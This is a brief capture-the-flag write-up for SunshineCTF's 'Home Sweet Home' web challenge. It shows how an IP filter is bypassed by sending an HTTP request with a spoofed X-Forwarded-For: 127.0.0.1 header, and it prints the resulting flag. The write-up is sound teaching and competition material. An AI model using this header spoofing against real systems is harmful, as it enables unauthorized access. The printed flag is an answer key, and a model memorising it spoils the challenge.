# ▼▼▼Home Sweet Home(150) 251/780=32.2％▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**

```
Looks like this site is doing some IP filtering.
That's very FORWARD thinking of them.

Have fun!

http://web1.sunshinectf.org:50005

Author: hackucf_levi

Update 2018-04-06 01:55 UTC: Point value decreased from 200 -> 150.
```

---

**【exploit】**

`FORWARD` described in the problem sentence thought it was a hint.

↓

```
GET / HTTP/1.1
Host: web1.sunshinectf.org:50005
X-Forwarded-For: 127.0.0.1
```

↓

`sun{Th3rEs_n0_pl4cE_l1kE_127.0.0.1}`